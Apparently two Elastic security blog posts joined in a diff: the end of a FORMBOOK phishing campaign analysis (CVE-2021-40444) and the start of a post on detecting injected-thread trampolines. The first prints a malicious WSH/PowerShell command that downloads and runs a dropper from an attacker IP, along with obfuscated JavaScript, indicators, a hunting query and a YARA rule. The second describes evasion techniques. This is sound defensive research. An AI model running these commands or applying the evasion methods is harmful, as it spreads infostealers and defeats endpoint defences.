0 Sleep
|
||||
0 ExitProcess
|
||||
0 FreeLibrary
|
||||
0 LoadLibraryA
|
||||
0 GetModuleHandleA
|
||||
0 GetProcAddress
|
||||
0 GetProcessWindowStation
|
||||
0 GetUserObjectInformationW
|
||||
```
|
||||
|
||||
Through further analysis of the DLLs sections list, we identified that the file was protected with [VMProtect](https://vmpsoft.com/) (identified by the .vmp0, .vmp1, .vmp2, .vmp3 sections). “VMProtect protects code by executing it on a virtual machine with non-standard architecture that makes it extremely difficult to analyze.”
|
||||
|
||||
```
|
||||
$ pedump --sections 1.doc.inf | awk '{print $1, $2, $3, $4}'
|
||||
=== SECTIONS ===
|
||||
NAME RVA VSZ RAW_SZ
|
||||
.text 1000 12ecd 0
|
||||
.rdata 14000 49ce 0
|
||||
.data 19000 1350d8 0
|
||||
.vmp1 14f000 2c70 0
|
||||
.vmp0 152000 fac 0
|
||||
.bss 153000 1000 0
|
||||
.vmp2 154000 38c0bb 0
|
||||
.vmp3 4e1000 5c6720 5c6800
|
||||
.reloc aa8000 5b4 600
|
||||
```
|
||||
|
||||
As we were unable to analyze the VMProtected file, we continued to explore other information that we’d previously collected. Specifically, we searched for additional samples that had been sent using the same admin0011[@]issratech.com email address. These parallel analyses identified additional samples and campaign phases, which we’re referring to as the Production and Generic phases.
|
||||
|
||||
### Production phase
|
||||
|
||||
The second, third, and fourth sightings all had the same sender field of admin0011[@]issratech.com and included a single attachment — Profile.rar file — to deliver the second stage malware.
|
||||
|
||||

|
||||
|
||||
#### Profile.rar
|
||||
|
||||
Previously, we’ve highlighted files that have an extension that differs from their actual file type. To validate that the attachment is a RAR archive, we again use the file command to validate that it is a RAR archive.
|
||||
|
||||
```
|
||||
$ file Profile.rar
|
||||
Profile.rar: data
|
||||
```
|
||||
|
||||
The attachment has a RAR file extension, but instead of having a file type of RAR archive data, v5, it is raw data. Analysts who discover a file containing raw data can use the less command to dump the file contents to STDOUT to directly inspect what may be inside.
|
||||
|
||||
```
|
||||
$ less Profile.rar
|
||||
<job><script language=vbs>Set WshShell = WScript.CreateObject("WScript.Shell")
|
||||
runCmd = "POwErshell -noprofile -noni -W Hidden -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADQANAAuADcAOAAuADEANwA3AC8AYQBiAGIAMAAxAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIA"
|
||||
WshShell.Run "cmd /c " & runCmd, 0, True</script></job> Rar!...truncated...
|
||||
```
|
||||
|
||||
The raw data includes a script job element that can be natively interpreted by the Windows Script Host (WSH). The job element directs WSH to spawn a shell that spawns a hidden PowerShell process which then runs a Base64 encoded PowerShell script. However, the script job element needs to be executed, which isn’t done by double-clicking on the file.
|
||||
|
||||
Decoding this string, we can see that a file called abb01.exe is downloaded and executed from 104[.]244[.]78[.]177. This is the same IP address we have observed across all Testing and Production phases.
|
||||
|
||||
```
|
||||
echo "aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADQANAAuADcAOAAuADEANwA3AC8AYQBiAGIAMAAxAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIA"\ | base64 -D
|
||||
iex ((new-object system.net.webclient).downloadfile(“http://104[.]244[.]78[.]177/abb01.exe”,”$env:LOCALAPPDATA\dllhostSvc.exe”));Start-Process “$env:LOCALAPPDATA\dllhostSvc.exe”
|
||||
```
|
||||
|
||||
We'll continue to explore this file to identify how the script job is executed. As we displayed above, the file still has the Rar! header, so we can decompress this archive. First, we'll use the unrar program with the e switch to decompress the RAR archive and retrieve the contents: document.docx.
|
||||
|
||||
```
|
||||
$ unrar e Profile.rar
|
||||
Extracting from Profile.rar
|
||||
Extracting document.docx OK
|
||||
All OK
|
||||
```
|
||||
|
||||
#### document.docx
|
||||
|
||||
While Profile.rar appears to be a compressed archive, the PowerShell script won’t download and execute abb01.exe automatically upon decompressing it. To execute that script, the compressed document within Profile.rar, document.docx, must be opened.
|
||||
|
||||
Using the same technique as we highlighted in the Testing phase, we decompressed document.docx and examined the document relationship file (word/\_rels/document.xml.rels). As previously described, we observed a remote OLE object stored and formatted as an HTML entity code block that we can decode using CyberChef.
|
||||
|
||||

|
||||
|
||||
We see the same IP address, 104[.]244[.]78[.]177 and a new filename called Profile.html.
|
||||
|
||||
#### Profile.html
|
||||
|
||||
Based on the HTML code, this initially appeared to be an Apache landing page. However, closer inspection identified another obfuscated JavaScript towards the bottom of the page.
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head>
|
||||
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
|
||||
<!--
|
||||
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
This file is generated from xml source: DO NOT EDIT
|
||||
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
-->
|
||||
<title>Getting Started - Apache HTTP Server Version 2.5</title>
|
||||
...truncated…
|
||||
<script>function a(){var l=['wexcKvyUWOi','ntu3ndaWmeHNC0HOsq','nfPrsujOwG','amohWRqfW5xcNSk/r23cO8kClG','
|
||||
iSkfW5hcTSk4jmk4xmk2W73dSCkjWOq','ndCXnZeXDLf1tKLj','WRSYCcCZzmkmaW','WQzEqb5xWOldVWXBgSkSWRyp','AhrTBgzPBgu',
|
||||
'W5tdO1L3WOFdISk8W50','u2nYAxb0','lNDZzJOUlI8UlI8UlI9ezxnRDg9Wl1bYB2zPBguUCMfYpY53C2y','iCkEW592W77cNa',
|
||||
'WReLW5ddJGiJWRhcRMuYW40LW4v9xSkJWRNcObFdLSkEW5hcMe1kW4JcHL84W7WgWPtcNt4eW4NcP8oZy8kN',
|
||||
'lNDZzJOUlI8UlI9eB3DUBg9HzhmVuhjVzMLSzs5Yyxi/lNDZzG','ndaWmtu5BvbZqxHH','Bg9JyxrPB24',
|
||||
'ex3cTSkNW5z+w2RcKGhdLs/dNbBdImoknSk1FwVdQL/cVSkWWRC9WPldO3/dRLv5lt5lW4XFWRVcGWxcNsiX','nZa3mZKWnNP1zffirq',
|
||||
'bxy1yvlcHujyqSkly2ldHvDrW5vJW7HQW5mZimkKWPJcQJClD0j3WO5SW6KTqmozaWOzACoc','mtKXmZq5mLbREgPOqW','W73dMrjjW53cQaBcVq',
|
||||
...truncated…
|
||||
ActiveXObject(j(0x144))[k(0x13c,'k0X5')][j(0x14c)]=k(0x14d,'[Otp'),new ActiveXObject('htmlfile')[j(0x146)]['location']=j(0x14a),new ActiveXObject('htmlfile')[k(0x148,
|
||||
'MCjf')][k(0x138,'kZYE')]=j(0x147),new ActiveXObject(j(0x144))[j(0x146)][k(0x142,'Lz1J')]=k(0x14f,'BiKg'),new ActiveXObject(k(0x145,'h]@1'))[j(0x146)][j(0x14c)]=k(0x13a,'!v$V'));</script>
|
||||
```
|
||||
|
||||
Deobfuscating the JavaScript using the same debugger as before, we can see several ActiveXObjects. This time, however, there are far fewer and the execution is more prescripted, eliminating useless calls. This shows a refinement from before. This newer code also uses a .wsf extension instead of the previous .cpl. This allows the exploit to use the Windows Scripting Host to execute code. This is the same directory traversal technique we observed in the Testing phase. However, this time the JavaScript is looking for the Profile.rar file (whereas in the Testing phase, it was looking for IECache.inf) and attempting to execute the PowerShell script, which was prepended in Profile.rar as a Windows Script File (.wsf).
|
||||
|
||||

|
||||
|
||||
#### Dropper
|
||||
|
||||
As we illustrated above, Profile.rar has a prepended Base64 encoded PowerShell command which downloads abb01.exe. The JavaScript from Profile.html attempts to execute this PowerShell code within Profile.rar as a Windows Script File.
|
||||
|
||||
abb01.exe is a dropper that when dynamically executed, drops another PE file, yxojzzvhi0.exe in our example.
|
||||
|
||||
#### FORMBOOK Binary
|
||||
|
||||
yxojzzvhi0.exe was scanned with Elastic YARA rules and identified to be a variant of [FORMBOOK](https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook), based on unique byte sequences.
|
||||
|
||||
FORMBOOK, also known as XLOADER, is an information stealer that includes keyloggers, clipboard copiers, and form grabber components to collect and exfiltrate sensitive information. This malware has been [offered as-a-service](https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I) for over five years and remains a successful tool for stealing information.
|
||||
|
||||
### Generic phase
|
||||
|
||||
On October 28 and November 8, 2021, we observed additional sightings but used a generic phishing attachment tactic to load FORMBOOK. Additionally, we were able to collect some information from the email header that we’ll discuss in the Campaign Analysis section.
|
||||
|
||||

|
||||
|
||||
These sightings all have two RAR attachments. One of the attachments has a .rar file extension and the other has either a .gz or .7z extension. We’ll explore one of the sightings below.
|
||||
|
||||
```
|
||||
$ file D2110-095.gz DWG.rar
|
||||
D2110-095.gz: RAR archive data, v5
|
||||
DWG.rar: RAR archive data, v5
|
||||
```
|
||||
|
||||
The RAR files contained two PE files. They were identical instances of a very [common FORMBOOK variant](https://www.virustotal.com/gui/file/4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096/detection).
|
||||
|
||||
```
|
||||
$ omnihash DWG.exe D2110-095.exe
|
||||
Hashing file DWG.exe
|
||||
MD5: ff882802d113ed02fa070c496f89d797
|
||||
SHA1: aad1eed1c53f1d33ab52e13442b036bfeee91f1b
|
||||
SHA256: 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096
|
||||
Hashing file D2110-095.exe
|
||||
MD5: ff882802d113ed02fa070c496f89d797
|
||||
SHA1: aad1eed1c53f1d33ab52e13442b036bfeee91f1b
|
||||
SHA256: 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096
|
||||
```
|
||||
|
||||
## Campaign analysis
|
||||
|
||||
While researching this FORMBOOK campaign, we observed infrastructure reuse and tooling similarities during testing and operational phases, which we believe represent a single campaign.
|
||||
|
||||

|
||||
|
||||
### Email header
|
||||
|
||||
Throughout all sightings, the campaign used similar sending email addresses:
|
||||
|
||||
- admin0011[@]issratech.com
|
||||
- admin010[@]backsjoy.com
|
||||
- admin012[@]leoeni.com
|
||||
|
||||
Additionally, across the Production and Generic phases of the campaign, we observed the X-Mailer element (the software identifier set by the sending email client) as RainLoop/1.16.0. RainLoop is an open-source email client. It should be noted that in our collection, one sighting had some header information sanitized before being uploaded to VirusTotal. RainLoop could have been referenced in this sighting, but we were not able to confirm that.
|
||||
|
||||
### File hashes
|
||||
|
||||
Across the Production phase, we were able to identify code sharing through the use of the same attachment (Profile.rar).
|
||||
|
||||
### IP addresses
|
||||
|
||||
Across the Testing and Production phases, we observed that 104[.]244[.]78[.]177 was used for all elements of the campaigns. This IP address was used to host archives, implants, and scripts.
|
||||
|
||||
### Resource development
|
||||
|
||||
As research progressed, we observed activities we believed were capability testing. This activity was observed one time and used artifacts ([IEcache.inf](https://github.com/aslitsecurity/CVE-2021-40444_builders/blob/main/CVE-2021-40444/IEcache.inf), [document.xml.rels](https://raw.githubusercontent.com/aslitsecurity/CVE-2021-40444_builders/main/CVE-2021-40444/source/doc/word/_rels/document.xml.rels)) from a public CVE-2021-40444 exploit proof-of-concept [repository](https://github.com/aslitsecurity/CVE-2021-40444_builders). Other phases included custom exploit code that differed from the PoC code but shared [initial access](https://attack.mitre.org/techniques/T1566/001) and [execution](https://attack.mitre.org/techniques/T1203) TTPs as well as the same network infrastructure.
|
||||
|
||||
We observed that the issratech[.]com, backsjoy[.]com, and leoeni[.]com domains own TLS certificates provided by Let’s Encrypt. While the steps of creating a TLS certificate are not overly cumbersome, the fact that the domain owner went through the preparatory process of creating a certificate could indicate that these domains are intended to be used for future encrypted operations.
|
||||
|
||||
In the Generic phase, the campaign abandoned the MSHTML exploit and attempted to leverage a traditional phishing malware-attachment approach. This shift in tactics is possibly because successful exploit patching rendered the vulnerability ineffective.
|
||||
|
||||
### Victimology
|
||||
|
||||
We observed that of the four companies targeted by this campaign, all were in the manufacturing vertical. Threat actors utilizing FORMBOOK have been observed targeting the manufacturing vertical [in the past](https://threatpost.com/formbook-malware-targets-us-defense-contractors-aerospace-and-manufacturing-sectors/128334/). The companies all had international footprints in:
|
||||
|
||||
- Industrial Materials, Aluminum extrusion, HQ in Germany (Testing phase)
|
||||
- Industrial Conglomerate, Industrial Chemicals, HQ in South Korea (Production phase)
|
||||
- Industrial Manufacturing Products and Consulting, HQ in Switzerland (Generic phase)
|
||||
- Industrial Mechanical Engineering and Manufacturing, HQ in Germany (Generic phase)
|
||||
|
||||
While the targeted companies are of note (in that they are in the same vertical), an email address domain observed in all three phases — issratech[.]com, appears similar to a legitimate Jamaican company domain, isratech[.]com (notice the difference between one and two s's), a business that specializes in irrigation, wastewater management, and solar energy. Below, is a screenshot of issratech[.]com using the default CyberPanel landing page. CyberPanel is a web hosting tool for WordPress sites.
|
||||
|
||||

|
||||
|
||||
Each targeted company of the admin0011[@]issratech.com email address have expertise or products that could have been valuable to an Isratch project listed on their projects page (`https://www.isratech[.]com/projects/`):
|
||||
|
||||
- Chemical: Waste-water treatment, dairy production sanitation
|
||||
- Extruded aluminum: Solar array scaffolding, greenhouses
|
||||
|
||||
Two additional email address domains were observed in the Generic phase — one appears to be mimicking a legitimate medical equipment manufacturer (backjoy[.]com) and the other (leonei[.]com) appears to be adversary controlled, but seemingly not being used for legitimate purposes.
|
||||
|
||||
> leonei[.]com is protected by a Denial-of-Service protection service, so their domain IP address likely represents multiple legitimate domains and any blocking of the leonei[.]com IP address from the indicator table should be carefully measured.
|
||||
|
||||
It is possible, but not confirmed, that the recipients of the phishing emails in all phases are from a list of email addresses in the manufacturing vertical. These email lists are commonly available for purchase to enable sales, marketing, and business-to-business (B2B) efforts but can also be used for phishing campaigns.
|
||||
|
||||
## Tactics
|
||||
|
||||
Using the MITRE ATT&CK® framework, tactics represent the why of a technique or sub technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
Observed tactics:
|
||||
|
||||
- Resource development
|
||||
- Initial access
|
||||
- Execution
|
||||
|
||||
## Techniques / Sub techniques
|
||||
|
||||
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
Observed techniques/sub techniques
|
||||
|
||||
- Acquire infrastructure - server
|
||||
- Obtain capabilities - malware and exploits
|
||||
- Stage capabilities - upload malware
|
||||
- Phishing - attachment
|
||||
- Command and scripting interpreter - PowerShell
|
||||
- Exploitation for client execution
|
||||
|
||||
## Detections
|
||||
|
||||
### Hunting queries
|
||||
|
||||
These queries can be used in Kibana’s Security → Timelines → New Timeline → Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.
|
||||
|
||||
This query will identify the CVE-2021-40444 exploit attempt from a malicious Access, Publisher, PowerPoint, or Word document.
|
||||
|
||||
```
|
||||
process where event.type in ("start", "process_started") and process.parent.name : ("eqnedt32.exe", "excel.exe", "fltldr.exe", "msaccess.exe", "mspub.exe", "powerpnt.exe", "winword.exe") and process.command_line :
|
||||
("*../../..*",
|
||||
"*..\\..\\*",
|
||||
"*cpl:..*",
|
||||
"*hta:..*",
|
||||
"*js:..*",
|
||||
"*jse:..*",
|
||||
"*sct:..*",
|
||||
"*vbs:..*",
|
||||
"*wsf:..*")
|
||||
```
|
||||
|
||||

|
||||
|
||||
### YARA rule
|
||||
|
||||
We have created a YARA rule to identify this FORMBOOK activity.
|
||||
|
||||
```
|
||||
rule Windows_Trojan_FORMBOOK {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2021-06-14"
|
||||
last_modified = "2021-08-23"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "FORMBOOK"
|
||||
threat_name = "Windows.Trojan.FORMBOOK"
|
||||
reference_sample = "6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a"
|
||||
strings:
|
||||
$a1 = { 3C 30 50 4F 53 54 74 09 40 }
|
||||
$a2 = { 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 }
|
||||
$a3 = { 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 }
|
||||
$a4 = { 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83 }
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
```
|
||||
|
||||
## Defensive Recommendations
|
||||
|
||||
The following steps can be leveraged to improve a network’s protective posture:
|
||||
|
||||
1. Review and implement the above detection logic within your environment using technology such as Sysmon and the Elastic Endpoint or Winlogbeat
|
||||
2. Review and ensure that you have deployed the latest Microsoft Security Updates
|
||||
3. Maintain backups of your critical systems to aid in quick recovery
|
||||
|
||||
## References
|
||||
|
||||
The following research was referenced throughout the document:
|
||||
|
||||
- [https://nvd.nist.gov/vuln/detail/CVE-2021-40444](https://nvd.nist.gov/vuln/detail/CVE-2021-40444)
|
||||
- [https://twitter.com/vxunderground/status/1436326057179860992?s=20](https://twitter.com/vxunderground/status/1436326057179860992?s=20)
|
||||
- [https://github.com/lockedbyte/CVE-2021-40444](https://github.com/lockedbyte/CVE-2021-40444)
|
||||
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444)
|
||||
- [https://github.com/aslitsecurity/CVE-2021-40444_builders](https://github.com/aslitsecurity/CVE-2021-40444_builders)
|
||||
- [https://github.com/klezVirus/CVE-2021-40444](https://github.com/klezVirus/CVE-2021-40444)
|
||||
- [https://kentosec.com/2021/09/12/cve-2021-40444-poc-demonstration/](https://kentosec.com/2021/09/12/cve-2021-40444-poc-demonstration/)
|
||||
- [https://github.com/Edubr2020/CVE-2021-40444–CABless](https://github.com/Edubr2020/CVE-2021-40444--CABless)
|
||||
- [https://twitter.com/vxunderground/status/1436326057179860992?s=20](https://twitter.com/vxunderground/status/1436326057179860992?s=20)
|
||||
- [https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I](https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I)
|
||||
|
||||
## Indicators
|
||||
|
||||
| Indicator | Type | Reference from blog | Note |
|
||||
| ---------------------------------------------------------------- | ----------- | --------------------- | ------------------------------------ |
|
||||
| 70defbb4b846868ba5c74a526405f2271ab71de01b24fbe2d6db2c7035f8a7df | SHA256 | Request Document.docx | Testing phase email attachment |
|
||||
| 7c98db2063c96082021708472e1afb81f3e54fe6a4a8b8516e22b3746e65433b | SHA256 | comres.cab | Testing phase CAB archive |
|
||||
| 363837d5c41ea6b2ff6f6184d817c704e0dc5749e45968a3bc4e45ad5cf028d7 | SHA256 | 1.doc.inf | Testing phase VMProtect DLL |
|
||||
| 22cffbcad42363841d01cc7fef290511c0531aa2b4c9ca33656cc4aef315e723 | SHA256 | IEcache.inf | Testing phase DLL loader |
|
||||
| e2ab6aab7e79a2b46232af87fcf3393a4fd8c4c5a207f06fd63846a75e190992 | SHA256 | Pope.txt | Testing phase JavaScript |
|
||||
| 170eaccdac3c2d6e1777c38d61742ad531d6adbef3b8b031ebbbd6bc89b9add6 | SHA256 | Profile.rar | Production phase email attachment |
|
||||
| d346b50bf9df7db09363b9227874b8a3c4aafd6648d813e2c59c36b9b4c3fa72 | SHA256 | document.docx | Production phase compressed document |
|
||||
| 776df245d497af81c0e57fb7ef763c8b08a623ea044da9d79aa3b381192f70e2 | SHA256 | abb01.exe | Production phase dropper |
|
||||
| 95e03836d604737f092d5534e68216f7c3ef82f529b5980e3145266d42392a82 | SHA256 | Profile.html | Production phase JavaScript |
|
||||
| bd1c1900ac1a6c7a9f52034618fed74b93acbc33332890e7d738a1d90cbc2126 | SHA256 | yxojzzvhi0.exe | FORMBOOK malware |
|
||||
| 0c560d0a7f18b46f9d750e24667721ee123ddd8379246dde968270df1f823881 | SHA256 | DWG.rar | Generic phase email attachment |
|
||||
| 5a1ef64e27a8a77b13229b684c09b45a521fd6d4a16fdb843044945f12bb20e1 | SHA256 | D2110-095.gz | Generic phase email attachment |
|
||||
| 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096 | SHA256 | D2110-095.exe DWG.exe | FORMBOOK malware |
|
||||
| admin0011[@]issratech.com | email-addr | | Phishing sending email address |
|
||||
| admin010[@]backsjoy.com | email-addr | | Phishing sending email address |
|
||||
| admin012[@]leoeni.com | email-addr | | Phishing sending email address |
|
||||
| issratech[.]com | domain-name | | Adversary controlled domain |
|
||||
| backsjoy[.]com | domain-name | | Adversary controlled domain |
|
||||
| leonei[.]com | domain-name | | Adversary controlled domain |
|
||||
| 2[.]56[.]59[.]105 | ipv4-addr | | IP address of issratech[.]com |
|
||||
| 212[.]192[.]241[.]173 | ipv4-addr | | IP address of backsjoy[.]com |
|
||||
| 52[.]128[.]23[.]153 | ipv4-addr | | IP address of leonei[.]com |
|
||||
| 104[.]244[.]78[.]177 | ipv4-addr | | Adversary controlled IP address |
|
||||
|
||||
## Artifacts
|
||||
|
||||
Artifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt4f6fe2c619b93195/628e88d930bc9653db3af066/formbook-indicators.zip) in both ECS and STIX format in a combined zip bundle.
|
|
@ -0,0 +1,220 @@
|
|||
---
|
||||
title: "Get-InjectedThreadEx – Detecting Thread Creation Trampolines"
|
||||
slug: "get-injectedthreadex-detection-thread-creation-trampolines"
|
||||
date: "2022-12-07"
|
||||
description: "In this blog, we will demonstrate how to detect each of four classes of process trampolining and release an updated PowerShell detection script – Get-InjectedThreadEx"
|
||||
author:
|
||||
- slug: john-uhlmann
|
||||
image: "photo-edited-02-e.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
tags:
|
||||
- windows internals
|
||||
- process injection
|
||||
- defense evasion
|
||||
---
|
||||
|
||||
The prevalence of [memory resident malware](https://www.elastic.co/blog/hunting-memory) remains extremely high. Defenders have imposed significant costs on file-based techniques, and malware must typically utilize [in-memory techniques](https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process) to avoid detection. In Elastic's recently-published [Global Threat Report](https://t.co/3PZDENisXK), defense evasion is the most diverse tactic we observed and represents an area of rapid, continuous innovation.
|
||||
|
||||
It is convenient, and sometimes necessary, for memory-resident malware to create its own threads within its surrogate process. Many such threads can be detected with relatively low noise by identifying those which have a start address not backed by a Portable Executable (PE) image file on disk. This detection technique was originally conceived by Elastic's [Gabriel Landau](https://twitter.com/GabrielLandau) and Nicholas Fritts for the Elastic Endgame product. Shortly thereafter, it was released as a PowerShell script for the benefit of the community in the form of [Get-InjectedThread](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) with the help of [Jared Atkinson](https://twitter.com/jaredcatkinson) and Elastic's [Joe Desimone](https://twitter.com/dez_) at the [2017 SANS Threat Hunting and IR Summit](https://www.slideshare.net/JoeDesimone4/taking-hunting-to-the-next-level-hunting-in-memory).
|
||||
|
||||
At a high level, this approach detects threads created with a user start address in unbacked executable memory. Unbacked executable memory itself is quite normal in many processes such as those that do just-in-time (JIT) compilation of bytecode or scripts like .NET or javascript. However, that JIT’d code rarely manages its own threads – usually that is handled by the runtime or engine.
|
||||
|
||||

|
||||
|
||||
However, an adversary often has sufficient control to create a thread with an image-backed start address which will subsequently transfer execution to their unbacked memory. When this transfer is done immediately, it is known as a “trampoline” as you are quickly catapulted somewhere else.
|
||||
|
||||
There are four broad classes of trampolines – you can build your own from scratch, you can use an illusionary trampoline, you can repurpose something else as a trampoline, or you can simply find an existing trampoline.
|
||||
|
||||
In other words - hooks, hijacks, gadgets and functions.
|
||||
|
||||
Each of these will bypass our original unbacked executable memory heuristic.
|
||||
|
||||
I highly recommend these two excellent blogs as background:
|
||||
|
||||
- [Understanding and Evading Get-InjectedThread](https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/) by Adam Chester.
|
||||
- [Avoiding Get-InjectedThread for Internal Thread Creation](https://www.trustedsec.com/blog/avoiding-get-injectedthread-for-internal-thread-creation/) by Christopher Paschen.
|
||||
|
||||
In this blog, we will demonstrate how to detect each of these classes of bypass and release an updated PowerShell detection script – [Get-InjectedThreadEx](https://github.com/jdu2600/Get-InjectedThreadEx).
|
||||
|
||||
## CreateThread() overview
|
||||
|
||||
As a quick recap, the Win32 [CreateThread()](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread) API lets you specify a pointer to a desired StartAddress which will be used as the entrypoint of a function that takes exactly one user-provided parameter.
|
||||
|
||||

|
||||
|
||||
So, CreateThread() is effectively a simple shellcode runner.
|
||||
|
||||

|
||||
|
||||
And its sibling, [CreateRemoteThread()](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) is effectively remote process injection.
|
||||
|
||||
The value of the lpStartAddress parameter is stored by the kernel in the Win32StartAddress field within the [ETHREAD](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/ps/ethread/) structure for that thread.
|
||||
|
||||

|
||||
|
||||
This value can be queried from user mode using the documented [NtQueryInformationThread()](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationthread) syscall with the ThreadQuerySetWin32StartAddress information class. A subsequent call to [VirtualQueryEx()](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualqueryex) can be used to make a second syscall requesting the [basic memory information](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information) for that virtual address from the kernel. This includes an enumeration indicating whether the memory is a mapped PE image, a mapped file, or simply private memory.
|
||||
|
||||

|
||||
|
||||
While the original script was a point-in-time retrospective detection implementation, the same information is available inline during [create thread notify](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutine) kernel callbacks. All effective Endpoint Detection and Response (EDR) products should be providing telemetry of suspicious thread creations.
|
||||
|
||||
And all effective Endpoint Protection Platform (EPP) products should be denying suspicious thread creations by default – with a mechanism to add allowlist entries for legitimate software exhibiting this behavior.
|
||||
|
||||
In the wild, you’ll see “legitimate” instances of this behavior such as from other security products, anti-cheat software, older copy-protection software and some Unix products that have been shimmed to work on Windows. Though, in each instance, this security [code smell](https://en.wikipedia.org/wiki/Code_smell) may be indicative of software that you might not want in an enterprise environment. The use of these methods may be a leading indicator that other [security best practices](https://blog.trailofbits.com/2018/09/26/effortless-security-feature-detection-with-winchecksec/) have not been followed. Even with this finite set of exceptions to handle, this detection and/or prevention approach remains highly relevant and successful today.
|
||||
|
||||
### 1 - Bring your own trampoline
|
||||
|
||||
The simplest trampoline is a small hook. The adversary only needs to write the necessary jump instruction into existing image-backed memory. This is the approach that Filip Olszak used to bypass Get-InjectedThread with [DripLoader](https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection).
|
||||
|
||||
These bytes can even be restored to their original values immediately after thread creation. This helps to avoid retrospective detections such as our script – but recall that your endpoint security product should be doing _inline_ detection and will be able to scrutinize the hooked thread entrypoint at execution time, and deny execution if necessary.
|
||||
|
||||

|
||||
|
||||
The above proof-of-concept hooks ntdll!DbgUiRemoteBreakin, which is a legitimate remote thread start address, though it should rarely be seen in production environments. In practice, the hook can be placed on any function bytes unlikely to be called in normal operation– or even slack space between functions, or at the end of the PE section.
|
||||
|
||||
Also note the use of WriteProcessMemory() instead of a simple memcpy(). MEM_IMAGE pages are typically read only, and the former handles toggling the page protections to writable and back for us.
|
||||
|
||||
We can detect hooked start addresses fairly easily because we can detect persistent inline hooks fairly easily. In order to save memory, allocations for shared libraries use the same backing physical memory pages and are marked COPY_ON_WRITE in each process’s address space. So, as soon as the hook is inserted, the whole page can no longer be shared. Instead, a copy is created in the working set of the process.
|
||||
|
||||
Using the [QueryWorkingSetEx()](https://docs.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-queryworkingsetex) API, we can query the kernel to determine whether the page containing the start address is sharable or is in a private working set.
|
||||
|
||||
Now we know that something on the page was modified – but we don’t know if our address was hooked. And, for our updated PowerShell script, this is all that we do. Recall that the bytes can be unhooked after the thread has started– so any further checks on already running threads could result in a false negative.
|
||||
|
